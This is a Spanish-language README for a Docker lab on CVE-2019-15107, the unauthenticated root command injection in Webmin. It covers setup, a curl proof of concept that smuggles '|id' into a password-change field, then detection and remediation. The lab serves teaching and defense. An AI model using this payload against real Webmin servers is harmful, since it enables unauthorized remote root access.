
Laboratorio basado en Docker que demuestra CVE-2019-15107, el RCE no autenticado de Webmin, abarcando despliegue, explotación, detección y remediación.
Este proyecto demuestra CVE-2019-15107, una vulnerabilidad crítica de ejecución remota de código (RCE) en Webmin, dentro de un entorno Docker controlado y aislado. El laboratorio cubre el ciclo de vida completo de la vulnerabilidad, desde el despliegue y la explotación hasta la detección y la remediación.
1.Docker Desktop (instalado y en ejecución)
2.Docker Compose
3.Terminal / PowerShell con soporte para curl.exe
1.SO (entorno del host local)
2.Disponibilidad de puertos: El puerto 10000 debe estar libre en la máquina host.
1.Aplicación: Webmin
2.Versión vulnerable: 1.910 (Versiones afectadas: 1.880 a 1.920)
3.Versión corregida/parcheada: 1.930 y superiores
4.Tipo de vulnerabilidad: Neutralización incorrecta de elementos especiales utilizados en un comando del SO (CWE-78)
5.Puntuación CVSS: 9.8 (Crítica)
1.Clone o descargue este repositorio del proyecto en su máquina local.
2.Abra su terminal y navegue hasta el directorio del proyecto que contiene docker-compose.yml.
3.Asegúrese de que Docker Desktop esté activo en su sistema.
Ejecute el siguiente comando desde el directorio raíz del proyecto para descargar e iniciar el contenedor vulnerable en modo detached: docker-compose up -d
Puede verificar el estado del contenedor ejecutando: docker compose ps
Acceda a la interfaz de la aplicación en su navegador web en: https://localhost:10000 (acepte la advertencia del certificado SSL local).
Para detener y eliminar el entorno del contenedor en ejecución, ejecute: docker-compose down
La vulnerabilidad existe en el endpoint de cambio de contraseña no autenticado (/password_change.cgi), donde los parámetros de entrada se pasan directamente al shell del sistema sin una sanitización adecuada.
Ejecute el siguiente comando en su terminal (PowerShell/Bash) para ejecutar un comando de diagnóstico (id) como prueba de concepto:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
Explotación exitosa: El servidor procesa el carácter de tubería inyectado (|), lo que desencadena la ejecución de comandos no autenticados con privilegios de root. La terminal mostrará evidencia de la respuesta HTML junto con la retroalimentación del shell del contenedor (uid=0(root)), lo que confirma la ejecución remota de código exitosa.
1.Identificación de versión: Inspeccionar la versión de la instancia de Webmin en ejecución para verificar si se encuentra dentro del rango vulnerable (1.880 a 1.920).
2.Monitoreo de red / registros: Inspeccionar los registros de acceso del servidor web o del WAF en busca de solicitudes HTTP POST entrantes dirigidas a /password_change.cgi que contengan caracteres de control del shell sospechosos (como | o ;) dentro de los valores de los parámetros.
1.Actualización: Actualice Webmin a la versión 1.930 o superior, que sanitiza correctamente las entradas pasadas a los módulos subyacentes.
2.Control de acceso: Restrinja el acceso de red al puerto 10000 mediante firewalls o túneles VPN para evitar la exposición directa a redes no confiables.
1.El demonio de Docker no está en ejecución: Si encuentra errores de conexión, asegúrese de que Docker Desktop esté completamente iniciado y verifíquelo usando docker version.
2.Conflicto de puertos (10000 ya en uso): Asegúrese de que ninguna otra aplicación o servicio local esté ocupando el puerto 10000.
3.Error de sintaxis de curl en PowerShell: Use curl.exe en lugar de curl estándar en Windows PowerShell para evitar problemas de asignación de parámetros con el alias integrado Invoke-WebRequest de PowerShell.